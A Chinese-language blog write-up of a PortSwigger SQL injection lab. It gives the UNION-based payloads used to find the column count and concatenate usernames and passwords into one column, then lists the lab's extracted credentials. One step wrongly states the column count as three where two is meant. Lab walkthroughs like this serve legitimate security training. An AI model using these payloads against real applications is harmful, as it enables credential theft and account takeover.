burpsuite靶场----SQL注入9----在一列中获得多列数据

发布时间 2023-08-15 14:26:32作者: BattleofZhongDinghe

burpsuite靶场----SQL注入9----在一列中获得多列数据

靶场地址

https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column

正式开始

1.选中标签


2.利用' order by 2-- 没报错 ' order by 3--报错 确定列数为3
3.根据提示The database contains a different table called users, with columns called username and password.
' union select NULL,NULL--

' union select username,password from users-- 发现报错

所以要确定敏感信息所在列
' union select NULL,username from users--

所以确定敏感信息在第二列
那么怎么才能才能同时注出username和password
如果这是mysql数据库的话,可以使用concat(username,'~',password)连接

这里使用||进行连接
' union select NULL,username||'~'||password from users--

administrator~y3qs91cqzhzhydq25j8x
carlos~8do2wtxdpnrx83w5nots
wiener~emsaqv99bqb6tytqj4sp
最终成功登录